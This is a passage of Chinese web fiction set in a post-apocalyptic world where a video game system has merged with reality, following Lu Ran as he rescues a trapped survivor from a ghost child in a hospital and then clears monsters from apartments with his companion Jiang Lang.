他听见病房门这边的动静，抬起头，愣愣地看向陆燃，目光在他的装备上定定地停留了很久：“你……你好？你也是《神域》玩家吗？” 他看上去有些开心，不过不是那种“有救了”的开心，陆燃觉得他脸上的开心更该被定义为“哇，居然遇到同好了”的开心。 陆燃点了点头，上前帮他一块清理掉病房内外的污染物。 那孩子过了半天才想起来要问一下现状：“现在是什么情况？是医院爆发了什么病毒吗？虽然感觉不管什么病毒都很难搞出这种效果吧……我们要去救其他人吗？我感觉我现在对技能已经比较熟练了！” 陆燃：“医院这边除了你应该就没别的幸存者了，这些污染物我来处理就行。” “哦哦好的……那我不给大佬拖后腿。” 陆燃：“除了医院以外其他地方也都沦陷了，现在基本哪里都是这个情况，你最好去最近的超市存点食物和其他物资，然后找个安全的地方藏起来，你想救人的话也可以，但是想救人的话也得先多准备点物资，不然光救下人来也没什么用，所以你待会儿直接出去找超市吧。” 少年连连点头，他觉得大佬说得太对了。 这个织灵者离开了医院之后，陆燃便不再收敛自己的攻击范围，将技能的攻击范围拉至最大，就这样清理出了一条通向药房的路来. 柳寒遇到了麻烦。 就在他几乎要以为自己的新能力在这个新世界是无往不利的时候，他发现，原来觉醒了近乎无敌的能力的人，哦应该说生物，不止他一个。 对此，他倒没有什么不高兴的感觉，怎么想都会在新世界的食物链里直接站到顶端这种好事不会发生在他身上吧。 其实如果对方还是神智尚存的人类的话，他现在应该在考虑投降并主动地拜入对方麾下这一选择的可行性了。 打不过就顺从，一向是他的生存准则。 臣服于强者是任何神智清醒的人都该做的事。 但是很可惜……对方是根本不能沟通的怪物。 柳寒有些想叹气。 要么战斗到最后一刻，要么就是死，根本没有投降这个选择啊。 看来今天不光是许多死在他手中的怪物还有一个人的死期，也是他自己的死期。 他对这一点倒是接受良好。 弱者就应该死去。 包括他自己。 只有这样才是正确的。 那么来谈谈让他如此头疼的对手吧。 他原本以为自己的能力正如它的形式一般，是绝对的作弊器，他可以把他视野范围内的任何对象的血量都修改为1，这个血量，对方基本一戳就死了。 而且他有预感，只要他不停打怪升级，这个作弊器应该能解锁出更多功能。 但是他还没来得及打到足够多的怪来让他的作弊器升级，他就遇到了一个天克他的怪物。 是的，他可以让任何怪物的血量都变为1，只要他能攻击到对方一下基本就可以送走对方，再加上他把自己的血量调整到了99999，也就是这个作弊器的上限，所以就算他笨手笨脚的压根没有战斗经验总是在他击中对手之前被攻击到好几次也没关系，反正它们顶多也就能打掉他一点点血。 但是他的胜利公式里，很重要的一点就是，他不管怎么样都得攻击得到对方，否则就算对方的血量被他降到了1也没用啊…… 很不幸的，他还没来得及走出这栋楼，就遇到了一个他压根攻击不到的对手。 这是一个异化方向是“灵体化”的怪物。 它原本应该是这间病房的一个病人吧。 身上还穿着病号服呢。 它可以秒速在“灵体”和“实体”这两个状态之间切换。 柳寒刚走进这间病房的时候，就感觉自己浑身一凉，然后才发现有什么没有实体的东西从自己的身体中穿过去了。 并且发出了刺耳的笑声，他看见那个鬼魂恶作剧一般从他身体中穿过之后就停在不远处尖利大笑。 看病号服的大小，应该生前是个不到十岁的小孩吧。 他看见那鬼魂小孩的一瞬间，就已经启动了作弊器，将它的血量修改为了1。 和大部分怪物被修改血量后看起来瞬间虚弱的样子不同，它基本没有任何改变，还在欢快地在空中窜来窜去。 好吧，它是个鬼，血量对它来说可能没什么意义。 柳寒攥着他手里的美工刀，慢慢朝前走去，然后抬高了手，向它划去。 鬼魂小孩完全不闪不避，就由着他往它的灵体上划了一刀。 然后事实证明它的不闪不避是很有道理的，尚算锋利的美工刀没能给它造成任何伤害，只引发了一连串介于难听与还算有感染力之间的笑声。 柳寒陷入了沉思。 他一向是个实用主义者，既然没办法杀死对方，那就不要在这个怪物身上浪费时间了。 他转身就打算离开。 但是他刚转身，就感到一阵强风从他两边刮过，同时有一道尖利的愤怒的喊声从他身后响起，但就像回荡在他四周的所有方向一般。 是的，就像是恐怖片中的常见场景一样。 他想要离开的动作激怒了这个缺乏玩伴的鬼魂小孩，并且把房间的所有出口的封上了。 柳寒在原地沉默地站了会儿，然后抱着最后一丝希望，在飘来飘去的鬼魂的陪伴下，走到了病房门前，然后试着转了一下门把手。 完全转不动，就跟有人在锁芯里面粘了520胶水一样。 他又试着撞了一下门，虽然他知道凭自己的身体素质，哪怕是正常状态的门都不一定能撞开，但是还是试试吧。 “砰！” 他猛地后退了好几步，纹丝不动的房门甚至连一丝抖动都没有，因此他的动能基本没被消耗，让他像撞到水泥墙的小球一样被弹开了。 他这无声喜剧一般的表演让在他身边晃荡来晃荡去的鬼魂小孩发出了尖锐的笑声。 柳寒看了它一眼，虽然明知毫无希望，但还是朝病房的玻璃窗前走去。 窗栓和门把手一样，完全转不动，然后他拎起地面上的一把金属椅子，找了个角度——一个椅子被弹回来之后不会砸到他的角度——然后砸了上去。 他太有先见之明了，椅子猛地弹了回来，落在地上发出了巨大的撞击声和摩擦声。 好的，这玻璃在鬼魂的加持下简直可以防弹。 他正式宣布放弃。 看来是出不去了。 除非弄死这一切的始作俑者。 鬼魂小孩也很给他面子，在他思考出这一论点后，就“嘻嘻”笑着又穿过了他的身体，然后在他身后显出了实体，并猛地推了他一下，让他一个踉跄差点栽倒在地面上。 然后又变回了灵体。 但是至少柳寒知道了，这个鬼魂小孩和他的处境在某方面是相同的，它如果想要攻击自己，那就也得变回实体。 而它费劲周章（好吧好像没有很费劲）把自己留下来，肯定不会是为了不攻击他的。 在那段它变为实体的时间里，他也可以攻击到它。 只需要一下，只需要一下。 相对来说他应该有着大得多的优势吧。 他低估了对面的灵活程度也高估了自己的战力。 接下来的漫长时间里，他从一开始的小心翼翼，到后来越发狂躁，又从狂躁转为平静。 因为他发现，哪怕只需要一下，他也攻击不到对方。 太快了，对方有着灵体的活动优势，总是能以最快的令人眼花缭乱的速度从最意想不到的角度攻击他，然后在他能反应过来之前，又早就变回了灵体。 他不知道几次转身看去，就发现那破小孩已经飘到了远处正在哈哈大笑。 ——这个怪物的智能好像挺高的，他出神地想到，比医院里他遇见的其他怪物都要聪明许多。 他顺便看了眼自己的血条——99586。 而且还在不停下降，因为他现在被挂上了一个“流血”buff。 “玩”了几分钟之后，那个鬼魂小孩就不仅满足于只是推搡之类的了，而是进行了一些真实的伤害，并且还带了一些“羞辱”性质——因为它经常是从柳寒手中夺走美工刀并使用的，无比清晰地让柳寒意识到自己的反应能力究竟有多么糟糕。 眨眼间，他的血量就又往下掉了一点点——99562。 说实话，在他的血条长度上来看，是微不足道的变化。 甚至总共掉的血，在整条血条上也根本看不太出来。 但是只要时间不停流逝，他的血条最终还是会掉到真正危险的程度。 他目前只拥有修改血条长短的能力，要止住血条下降的趋势，他得获取一些真正的治疗，然后才能慢慢回血。 哪怕他隐隐能感知到只要他能获取足够的能量突破他的新异能，他就能做到更多的事。 但是他现在已经没了升级的机会。 真是个让人忧伤的局面啊。 他平板地想着，一边继续被那鬼魂小孩时不时地推个踉跄或是划开一道新的伤痕. 陆燃找到了药房，优先把失去了保存条件的药先收进了打包箱里，然后放进了背包，然后剩下的时间就开始整理别的药品。 反正这个医院里也不会有活人了。 他收完药之后，原本打算直接离开，这种全是污染物的地方，后期再来“核平”也行。 但是他朝外迈去的脚步突然一顿。 就在刚刚，他耳中混乱一片的声音中，突然出现了一道明显属于活人的声音——那是一道轻声的“嘶”音，非常轻，几乎不可闻，在他听力范围的最边缘，如果不是他出药房的方向是朝着医院内部，他很有可能会错过这道声音。 有活人，而且刚刚受伤了。 他神色一凛，由衷地希望对方是异能者，不然大概率就救不回来了。 他快速从污染物中清出了一条路，朝声音传来的楼层飞奔而去。 随着他逐渐上升，那个活人的声音在他耳内越来越清晰，刚刚不太明显的心跳声也逐渐在他耳中被从其他声音中剥离了出来。 听起来剧烈运动过，心跳非常快。 “咚咚。” “咚咚。” “咚咚咚咚咚咚——” 陆燃猛地推开那扇病房门，看见了一人一阿飘。 一人一阿飘齐齐转头，略带震惊与迷茫地看着闯入的陌生人。 第29章 第 29 章 医院惊魂（下） 柳寒不知道自己现在应该摆出怎样的表情。 好像应该庆幸, 并且欣喜若狂会比较对，因为有人出现了，而且看起来很强大, 应该能从这只鬼魂手里救下他，他不用出师未捷身先死了。 但是他好像很难立刻切换到这种心情, 因为他现在满脑子都是——那扇门不是被这个鬼魂锁住了吗？他刚刚试了好几遍, 不止是一开始的时候，后面被鬼魂小孩烦得不行的时候，他又带着伤去撞了好几次门——他知道他听起来非常绝望，但是反正都是浪费时间, 他选择用更简单的方式浪费时间。 而现在, 这扇被他反复确认就跟粘了最强效的胶水一般的病房门就这样被轻松地打开了, 他的视线缓慢下移, 移到了这个人捏着门把手的那只手上。 柳寒：“……” 这人甚至是以扭开门把手这种最常规的方式进来的。 对此，他真的很难立刻摆出开心庆幸的表情。 他开始寻找这门把手对他和对这个陌生人区别对待的原因。 他的目光慢慢地移到了他本应该最先看向的地方——显示这个人变异方向的黑底白字的标签上。 如果那还能称之为“标签”的话。 他之所以在早已习惯了忽略看见的人或怪物本身直接看他们的属性框的前提下, 依旧没有第一时间看这个陌生人的属性框写了什么, 是因为这个人的属性框真的太长了。 从他的脑袋位置开始，一直蔓延到他的膝盖位置才结束。 柳寒：“……” 好长。 一连串的技能, 描述不光长而且看起来就很厉害。 比如在他的属性框最上方的那个叫作“精神链接”的技能, 不光效果逆天，而且还有个括号特意注明（对灵体同样）生效。 好的, 这下是真的有救了。 后面零零总总的技能更是一大堆, 而且等级都很高, 全都是10级技能, 还有个括号注明（max），只有最末尾有个叫“地狱之火”的和其他一看就是精神类的技能格格不入的奇怪技能是“lv.0”。 怎么有人一进末日就是全满级技能的啊？ 哪怕柳寒早已习惯了这个世界的不公平，依旧忍不住在心底发问。 但是把这些技能快速地全看了一遍之后, 他还是没找到有哪个技能是开锁或者解除禁制相关的。 这时候，他才将目光重新从最底部往上移，一直看到最上方。 “等级：100” 他和这个鬼魂的等级都是“10”，而外面所有他遇见过的怪物都是“1”。 好的，原来只是简单粗暴的等级压制啊。 那个陌生人看了他身上新旧不一的数道伤痕一眼，瞬间松了口气。 就在柳寒思考他为什么会做出如此表现的时候，鬼魂小孩发出了凄厉的尖锐叫声。 显然，它被这个突然闯入它的领地的陌生人激怒了，而且它不像柳寒可以看到对方的等级，从而得知自己与对方的差距。 它像旋风一样穿过柳寒向那个陌生人猛烈地刮了过去。 柳寒感受着身上传来的一阵熟悉凉意，开始在心底为这位刚刚与他“缠斗”了许久的对手默哀——如果来得是一个别的方向的异变者，也许它还能凭着自己特殊的形态扳回一局，但是偏偏来的就是个针对灵体的精神系异能者。 他不认为自己有任何幸灾乐祸的情绪，只是单纯地为这位对手默哀了一下。 谁让它和自己一样运气不佳，初出茅庐就遇上了天克自己的对手的呢？ 他控制着自己的眼皮，让它们不要在这关键时刻做出眨眼的的行为。 他想看看能够直接作用于灵体的技能是什么效果。 不过……对方让他失望了。 他发现那个陌生人并没有使用任何技能，硬生生地忍了那鬼魂在他身边窜来窜去，甚至不停穿过他的身体挑衅他。 柳寒一瞬间很想大喊：“你在干什么？你的技能对它这个状态也是起效的啊！直接用就好了啊！” 不过他很快就反应过来，他有作弊器可以看见每个人的面板，这个陌生人却没有，他可能都不知道自己的技能有个“对灵体同样生效”的括号。 而他显然也不该透露这一点，因为这会告诉对方他的异能是什么，所以他只是安静地看着。 而此刻，那鬼魂小孩终于腻味了这个游戏，或者说它的智能高到有麻痹对方让对方麻木后再发起攻击的意识，它终于在又一次穿过陌生人的身体后，在他身后侧方显出了自己真实的行迹，两只手伸了出来，指甲一瞬间长到了好几厘米长，它看上去比最好的刀都要锋利。 柳寒愣了一下，他突然意识到，原来刚刚那个鬼魂小孩真的是想跟自己玩，它明明有武器，却总抢他的美工刀划拉他。 他美工笔和它的指甲比起来，简直就是小孩子的玩具。 他的美工刀顶多能在人的皮肤上划开一道伤口，它的指甲却看上去能把一个人的手臂连肉带骨头切开——比屠宰场最锋利的刀看起来都要好使。 而那锋利到感觉可以随时切开一个人的指甲已经马上要穿过那个陌生人的脑袋了。 柳寒觉得这一幕有些好笑。 他一想到这个陌生人明明拥有对灵体生效的技能，却要和他一样被这个鬼魂小孩戏耍，就觉得有些好笑。 虽然看这个陌生人的等级和血量，这看起来致命的一击估计也对他造不成多高的伤害，但不妨碍他觉得好笑。 笑容缓缓从嘴角爬上了柳寒的面庞。 然后僵住。 那个陌生人在鬼魂小孩的指甲距离他的后脑勺只有一丝丝距离的时候，精准地释放了一个技能。 柳寒看不出他使用了那一长串技能中的哪一个，只能看见那鬼魂小孩在他身后僵住了，然后缓缓消散。 就这么消失了。 这个陌生人不知道自己的技能能对灵体生效，但不妨碍他抓住了那转瞬即逝的机会，送走了这个异变方向是灵体化的怪物。 柳寒沉默了。 陌生人显然把他的沉默当成了劫后余生的惊吓造成的沉默，走过来对他进行了一番安慰性质的输出： “你觉醒了异能对吧？那么这些伤对你就不会有什么实质性伤害，止一下血就行了。” 虽然他的语气听起来过于刻板而平静，就像是在背书一样，柳寒很怀疑如果这里真的是个受到了惊吓的人，真的能被这样的语气安慰到吗？ 陌生人说着，不知道从哪里凭空掏出了一些药物，放在了他面前，然后又一凭空一掏，在他面前放下了三样物品，分别是——一盒标准12瓶装的矿泉水，一盒共6罐的黄桃罐头，还有一箱压缩饼干。 “这些够你哪怕哪里都不去也能生存两三天，你如果觉得自己受到的惊吓比较大，可以就在这个病房，或者你找个别的房间呆着，我会清理掉医院其他的污染物，所以你短期内会是安全的，不过最好越快行动越好，尽早适应，全世界都异变了，不要抱任何侥幸心理为好。” 从陆燃开始说话起，迷茫就慢慢从柳寒脸上爬起，直到充满了他的双眼。 在此之前，他始终以为这个陌生人只是恰好路过这个病房，他对他的解救也只是“顺手为之”。 而他对大部分普通人的心态有足够的了解，他大概率打不过对方是一回事，但是只要他不展现出任何攻击性，主动投诚，一个成长于现代社会的普通人，也很难会想到要斩草除根这种事，所以不管对方多么强大，只要他够安分守己，都能从这里活着出去……然后他会成为对方最忠诚的下属，没有人会怀疑他的忠心，因为他的确是真心实意地臣服于对方的强大。 再然后，等有一天，等他把他的作弊器升级到足以杀死对方的程度。 那时候，如果对方还活着，他会给对方一个切实的教训——一个关于不杀死目所能及的所有有可能成为威胁的人的教训，一个相信他人的忠诚的教训。 只是这个陌生人现在的话语和行动，让柳寒有些迷茫。 听起来……对方好像就是专程来救人的。 看他的动作，他接下来好像还要赶着去救其他人。 他不得不开口确认了一下：“请问，你是警察或者之类的职业吗？你是专门来救人的吗？是官方在组织救人吗？” 陆燃叹了口气，为什么所有人都有这么多问题，希望他回去之后江朗已经从发烧中恢复过来了，他要把所有和人讲话的任务都交给江朗，再让他讲一句话他真的会忍不住把这些人全都扔去喂污染物。 “不是，是，不是。” “你没有别的问题的话我走了。” 柳寒：“等等！” 陆燃现在是真的有点暴躁了。 柳寒：“其实我的异能还算挺强的，就是刚刚遇上了这个变异方向是灵体化的污染物导致我发挥不出来，如果有需要的话，我可以为您效劳。” 陆燃：“？” 效劳？效什么劳？ 他严重怀疑这个小孩是平时看动漫看多了。 “不用。”陆燃说完之后怀疑自己的语气是不是有点太硬了，于是又补上一句，“没什么必要，你好好活着就行。” 柳寒一瞬间有点沉默，好吧，这个难得的强者是个有救世情结的圣父。 好麻烦，给他当手下肯定会很麻烦，但是他如此之强，对自己有压倒性优势，那么他现在的最优解就是拜于对方麾下，任对方差遣，然后还是按原定计划，耐心等待他的异能成长到可以推翻对方的地步……于是他思考了一下，决定用对方更能理解的方式再说一遍刚刚的话： “您对我有救命之恩，所以您想让我去做什么都可以。” 陆燃也思考了一下，以他对人类心理学浅薄的了解……他觉得不让这个小孩报恩，可能对他的心理健康不太好，于是暗叹了一口气，说道： “如果你非要做什么的话，那你沿着这个方向去救人吧。” 陆燃指了一个方向：“医院附近应该是有超市的，先去超市救人，然后带着物资去救附近小区的人，哦，如果你在超市看见一个和我穿得差不多的人，他是我刚刚救下来的人，他也想救人，你们可以一起行动。” 柳寒：“……” 好吧。 但他还是略带困惑地问了陆燃最后一个问题： “你那么强大，为什么要帮其他人呢？” 其实他在书上读到过关于弥赛□□结的内容，他知道就是有些人爱做救世主，但是他没在现实中真的见过这类人，他很好奇他们的心态是什么样的。 陆燃皱了皱眉，他不是很想回答这个问题，因为答案有点长，还要给对方解释江朗是谁，很麻烦，而且这个孩子的提问侧重点很偏，偏到他觉得如果真的细聊起来他可能会沦落到要给对方做心理咨询的地步，于是他只是简单答到： “为什么不呢？” 柳寒低头沉思了一会儿，然后抬起头。 “我明白了。” “我会完成您的任务的。” 第30章 第 30 章 一起出发拯救世界！…… 陆燃转头就忘了他在医院遇上的这个奇怪的年轻孩子, 他开着车原路返回，一路开回了他们的仓库。 他刚在仓库门口停下车，就看见一道黑影猛地窜到了他眼前。 “你可算回来了！” 好的, 江朗的烧烧完了。 陆燃想到。 他拉开车门，对上江朗一脸兴奋的脸。 仔细观察了一下, 他发现江朗应该没有完全退烧, 整张脸还是偏红。 “你烧完全退了吗？” 江朗很诚实地回答：“没有，但是不影响行动了。” 陆燃点点头：“可以。” 他不会非要江朗到烧全退了再行动，那估计能让江朗急死。 江朗看他下车，突然想起什么一般问道：“你不觉得太阳很亮很难受吗？” 陆燃走下车, 听见这句话, 困惑地歪了歪头：“不会。” “咦？为什么？照理来说, 你这具身体加上游戏系统的属性之后, 感官也会变强很多啊？” 江朗也是刚刚看陆燃暴露在阳光下才想起来，上一世的时候, 刚异变加获取游戏系统后, 他最不适应的就是骤然增强的感官，在室内都有种自己在直视太阳的错觉, 而且周围很大范围内的细微声响在他耳朵里都像有人拎着个音响对他播放一样。 可以说非常痛苦了。 他过了好几天吸血鬼一般的生活才勉强适应新的视觉和听觉。 不过也只是勉强适应而已, 那之后又过了好几个月，他才彻底适应了新的视觉范围和新的听力范围, 并且终于能够忽略那些不重要的信息量, 就像这是他与生俱来的视野和听觉界限一般。 在末世里这样过了十年, 他刚回现代的时候最不适应的应该就是这一点, 那感觉自己像是被人用纱蒙住了眼睛和耳朵一般。 重新拿回感官，对他来说是一种“恢复正常”。 所以他其实刚刚看见陆燃，才想起来, 陆燃是第一次拿到这两份过强的感官，他应该很不适应才对，虽然他之前没从陆燃身上看见任何不适应的迹象，但是陆燃一向不喜欢在人前表露出情绪和感受，陆燃如果感到难受，只有他这样无比熟悉陆燃的人仔细观察才能看出来。 不过那也得他仔细观察才行，那会儿他脑袋晕得不行又看不清面前的东西，很有可能忽略了陆燃的难受。 天哪，他居然就让陆燃顶着这样完全新生的感官开车出去了！ “哦，你说这个，我关了。” 江朗被陆燃这个回答打了个懵：“关了？怎么关了？” 陆燃思考了一下：“就是关了。” 可能是觉得自己说得太简略了，他又沉思了一下具体该怎么形容，江朗一脸迷惑但耐心地等着，他很熟悉陆燃思考时的神情。 “十二点的时候，也就是系统上线的时候，我感觉感官有点开太大了，能听到的东西有点太多了，不是很舒服，就直接关到了我平时的状态，然后后面出去救人的时候，就把听力开满了试了一下，大概是能听清一个小区范围内的声音，然后其他的没动，感觉暂时没必要，一开始听力拉满的时候确实有点信息过载，分不太清什么声音是什么，确实适应了一段时间。” “开车回来的路上就又关了，毕竟没什么必要。” 江朗的嘴随着陆燃的叙述慢慢变成了“O”型——为什么陆燃的叙述里，调整自己的感知听起来那么轻松？甚至还可以单独调整听力？ 他当初可是花了好几天才勉强适应新的视觉和听觉啊！！前期不是躲在屋里和阴凉处，就是蒙着黑布出门。 而且任意调节到底要怎么做？ 他完全理解不了这是什么意思。 感官……就是感官啊…… 难道大家在末日以前能任意调节自己的视力和听觉吗？好像完全不可以吧！顶多就是闭上眼努力听得更清楚点吧！ 江朗的脑子要打结了，他的脸也跟着快打结了，不过他很快就释然了——嘛，这是陆燃，他能做到什么事都很正常啦。 于是江朗光速忽略了这点小问题，在车上等着陆燃从仓库里补充物资回来。 陆燃回到车上，坐好，就听见江朗大喊一声：“走！出发！拯救世界！” 陆燃：“……” 随着江朗踩下油门，他们这辆越野车飞驰而出。 开过陆燃刚刚已经清理完毕的几个小区，两个人把车停在了一个陆燃没去过的小区门口，刚停下来，两个人的耳旁就响起了一阵又一阵凄厉的尖叫。 陆燃和江朗对视一眼，都从对方眼中看出了点凝重。 希望他们没有来晚。 喊这么惨，可能已经被污染物攻击了，一旦破皮那就救不回来了。 两个人停下车就直接冲着尖叫声来源飞奔而去。 陆燃一脚踹开传出尖叫声的房间的门，江朗很快跟了进来，他神色凛然地扫过屋内，已经做好了最坏的心理准备。 但出现在他们眼前的，是一个手里不停挥舞着一柄模型剑的宅男，他闭着眼睛不停尖叫，他对面则是一盆怪物化了的花，这盆花看起来非常有弹性，它的茎伸长到了一米长，正随着宅男挥舞模型剑的节奏摇晃着。 与其说它要攻击这个宅男，感觉还不如说它在把宅男当逗猫棒用。 江朗：“……” 陆燃：“……” 他们两个人一时有点无言，虽然知道末世里任何一个污染物都很危险，不管它看起来多么好笑。 也知道末世里什么样的恐惧都很正常，毕竟大家都在和平年代生存久了…… 但是，看见这一幕简直像老动画里会出现的幽默场景，两人不禁还是有点沉思自己紧赶慢赶跑来是为了什么。 闭着眼睛挥舞着模型剑的宅男发出的尖叫声绝对可以震聋任何人的耳朵，包括他自己的。 但是门板哐当一声被踹开并落在地上的声音还是吸引了他的注意力，他下意识地将头整个转了过来，看看什么情况。 江朗心中暗叹，一会儿还得提醒一下对方，在战斗中可不能这么分心，尤其是在面对智能不高的污染物的时候，因为没有自我意识的污染物可不会有分心这个概念。 比如现在，宅男是转头看过来了，那朵花则比他目标坚定得多，随着它的“逗猫棒”——也就那把模型剑停止了挥舞，它也停止了“摇头晃脑”，终于显出了几分捕猎者的姿色，紧绷的茎部似乎随时能窜出去扑杀宅男。 当然，战斗中也是需要眼观八方耳听六路的，但那也是余光去观，他面前这宅男整个扭头过来，手上的动作还跟着停下了，就完全的反面教材。 江朗一边想着待会儿要怎么提醒对方，一边已经开始吟诵咒文。 吟诵的是吞噬。 其实上一世在末世的时候，除了偷袭，他起手永远是空间割裂，这个技能伤害不是很高，算是秘术师必选的技能里伤害偏低的那种，后期，包括前期遇见游戏系统持有者的时候，通常没法直接致死，但是胜在读条时间比较短，可以给对手上一个流血buff，现实里的流血buff真的是很长很深一道伤痕，不管是游戏系统持有者还是异能者，变异过的身体感官都非常灵敏，这种痛觉可以有效使他们分心，给他自己争取点攻击时间。 他维持了这个习惯将近十年。 不过现在他不用这么麻烦了，陆燃就在他身边，他可以爱读什么条读什么条。 他自己都没意识到他改得多顺手，十年的习惯就这么一瞬间就变了。 陆燃果然精准的一个控制放到了那盆花上，避过了惊恐的宅男。 江朗也读完了条。 他读条其实比游戏里要快一点，因为现实里的“读条”速度其实取决于施法者本人的吟诵时间，只要施法者能准确清晰地读出咒语，读条就成立了。 而他对这些咒语已经熟得不能更熟了，早已掌握了一套飞速吟唱技能。 因中了控制而僵在原地的花下方出现了一个黑色圆圈，瞬间将它吞噬。 而此时，宅男手里还举着他那把金色的模型剑，目瞪口呆，似乎还在消化这两秒发生的事情，随即他猛地一个土下座： “大佬！教教我吧！” “原来魔法是真实存在的！哈哈哈哈哈哈！” 他狂喜的样子很难让人相信他刚刚从生死危机中逃离。 陆燃：“……” 江朗被吓了一跳，他在末日里打滚了十年也没见过这样上来就下跪的人。 发生了什么？？？ 他还没从惊吓中缓过来，就看见宅男已经挪动了过来。 陆燃不动声色地往后退了一步，站到了江朗身后。 江朗退得晚了，他已经被宅男抱住了大腿。 “你你你——你干什么——” “大佬！哦不！师父在上！教教我吧！我什么都会做的！只要可以学习魔法！我什么都愿意做！考验我吧！” 江朗：“……” 江朗为难地说：“这魔法，啊不……这秘术也不是我自己学的啊……这是《神域》的游戏系统和现实融合了，我在游戏里是秘术师，所以我才会用的……” 抱着江朗小腿肚子的宅男瞬间一脸被雷劈了的表情：“《神域》？？？我靠！《神域》？？？” “啊啊啊啊啊这破世界融合的为什么不是galgame呢！我什么galgame都玩啊可恶！” “啊啊啊啊啊《神域》！早知道我也去玩了！当时看大家都吹我还以为是营销出来的好评，逆反了愣是没玩，啊啊啊啊怎么会这样！早知道有一天游戏会融合现实，就算是刷的买的好评我也一定会认真玩的啊我哭了……” 江朗艰难挣扎着把自己的腿从陷入悲伤的宅男手中挣脱了出来。 然后虽然有点惊恐，但他还是照着原计划跟宅男说了一下他在战斗中要注意的点。 宅男虽然过于悲伤，但也认真倾听了大佬的建议，下意识想掏出手机来做笔记，然后发现他宝贵的手机——他一生的恋人已经变成另一块砖，瞬间更加悲伤了。 还是回归传统纸笔吧…… 他认认真真地记下江朗的指点，好像那是什么宝贵的武林秘笈而不是单纯只是几句小提醒，然后依依不舍地挥别了陆燃与江朗两人。 陆燃和江朗留下物资后，就算解决了这起“紧急”事件，然后他们接着去救这个小区的其他还活着的人了。 他们听见宅男楼上就又有一个存活者，于是顺着楼梯往上。 陆燃正要踹门，就被江朗拦住了： “等下！陆燃你等一下！不要这么暴力我去！” “你把门踹开了他们万一不想离开房间的话，躲哪啊？” 陆燃刚想回答一间房又不是只有这么一扇门，就看见江朗不知道从哪摸出了一根回形针，然后伸进锁孔里搅了搅，然后那扇门就打开了。 陆燃：“……” 陆燃：“……你什么时候学的这一手？” “哦……以前遇见宗师级小偷——呃，至少他是这么自称的，然后顺便学了下，感觉还挺有用的吧……” “确实是很有用的技能。” 江朗看陆燃一脸思索地看着被他打开的锁，有点开心——难得有他会而陆燃不会的东西！ 他一脸得意地对陆燃说：“想学吗？我教你啊！” 陆燃“嗯”了一声：“可以，你待会儿再让我看一遍。” 两个人一边说话一边推开了门。 出现在他们俩面前，是一个满脸警觉的年轻女子。 她的造型有点奇异。 她的衣服外面裹了一层厚实的透明雨衣，脸上包着一个防尘面具，左手一瓶杀虫剂，右手一根棒球棒，腰间还别着一把菜刀和一把瑞士刀。 但是这些都还好，比较奇异的是她的脚下，以她所站的位置为中心，有一整圈白色的粉末。 整体看起来像是什么奇怪的后现代祭祀场面。 不过陆燃和江朗很快就意识到了那奇怪的白色粉末不是任何非法物品，只是食盐而已，因为她脚边就放着好几个空的食盐包装袋，然后面前的盆栽上也被撒了一堆盐，那株已经干枯的花看得出曾经是污染物的痕迹。 应该是这个年轻女子发现自己的盆栽异变之后采取了紧急措施。 同样是面对变异盆栽，跟刚刚的宅男比起来，她的武器至少真的有杀伤力。 看见陆燃和江朗两个人走进她的房间，她手里的棒球棒和杀虫剂瞬间转向了这两个不速之客。 只是陆燃的精神链接来得要快得多，她还没来得及完全转过来，整个人就以一个奇怪的姿势僵在了半空中。 她两眼中爆发出了恐惧与绝望，这种身体完全不受控制的感觉太恐怖了，她面对突如其来的末日的时候还算淡定，顶多有些郁闷——她刚考上的研啊！但是面对这种完全无法反抗的力量，她觉得自己今天要死在这里了。 只是那两个年轻人控制住她之后，完全没有看她一眼，反倒是照着一定顺序把她的房间从头到尾从里到尾走了一遍，每走到一个房间，其中一个男生就会释放一个看起来黑漆漆的法术，黑光从天花板落到地板，看起来甚至让她这个强迫症非常舒服。 他们俩搞定房间里的所有空间回到了她面前，一个人往外拿出了三箱东西，分别是水，压缩饼干，和黄桃罐头，另一个人则礼貌地对她说： “女士，我们打扫完了，祝您之后顺利。” 年轻女子虽然被精神链接控制住了动弹不得，但两只眼睛还是生动地传达出了她此时的困惑。 他们两个把她控制住就为了进来大扫除吗？虽然大扫除的对象应该是他们口中的“污染物”，但是上门做清洁的既视感实在太强了点啊喂…… “我们之后会把小区的污染物都清理一遍，如果您想出门的话可以等我们离开之后，如果不想的话这些物资应该够您生存一段时间。” 陆燃非常满意，就该和江朗一块出来啊，他一句话都不用说，也不用应对各种奇奇怪怪的问题，非常不错。 他解开对年轻女子的控制，两个人在对方困惑的目光中走出了房门，江朗礼貌地把门带上了。 下一处。 这边听着挺安静，江朗伸出手要去开锁，然后突然想起了自己刚刚答应了陆燃要教他，于是他放慢了动作：“大概是这样的……” 陆燃却突然从他手中拿过了回形针。 江朗：“嗯？” 陆燃：“让我试试。” 江朗一脸懵逼：“但是我还没开始演示。” 他话音刚落，就看见门被推开了。 江朗：“……靠！假的吧！我靠！我当时学了整整半天啊！” 他挠着头：“一定是这间房的门本来就开着吧！” 陆燃耸了耸肩：“没那么难，刚刚看你开一遍其实就有点会了，但是因为当时漏看了你起手时候的方向，所以想再看一遍，刚刚看到了，所以其实就可以了。” 江朗流下两道宽面条泪：“呜呜好吧……不愧是你……” 门内，紧握着椅子面向房门的年轻男人看着两个人撬门进来的小偷（？）居然正大光明地当着他的面讨论起来了他的锁该怎么撬，甚至还互相吹捧了起来，一时间不知道该摆出如何表情。 幸好江朗很快就发现了屋内还有人，他转过头来，一脸和善的微笑： “你好，我们是来清理污染物的，请不要紧张。” 男人被他友好的态度打得一懵，一时间也不知道该回什么，下意识地说：“哦哦……这样吗？那好的。” 虽然他甚至不知道污染物是什么，他是一觉睡到中午然后被窗外的鬼哭狼嚎吵醒的，本来想算了算了，戴上耳塞接着睡算了，但是窗外不知道到底是在干嘛，他都带上耳塞了，那些精神攻击一般的喊叫还是传进了他的耳朵里，他半睡半醒地烦躁了一个多小时，终于忍无可忍地掀开被子爬了起来，正要拉开窗户朝外大喊“鬼叫什么呢！大周末的！还让不让人睡觉了！”，就听见了自己的房门传来了奇怪的动静，吓得他立刻抄起离他最近的一把椅子，虽然刚抄起这把木头凳子，他就觉得这玩意儿好像没什么杀伤力啊…… 然后就在他纠结到底要不要趁歹徒冲进来的短暂一瞬，换一把远处的金属椅子的时候，他就看见这两个怪人走了进来。 他诺诺地答完“好的”之后，才反应过来——不对啊！他才是这个房间的主人吧！为什么这两个人这么自然地在对他发号施令啊！ 但是接下来，他就看见了非常惊悚的一幕。 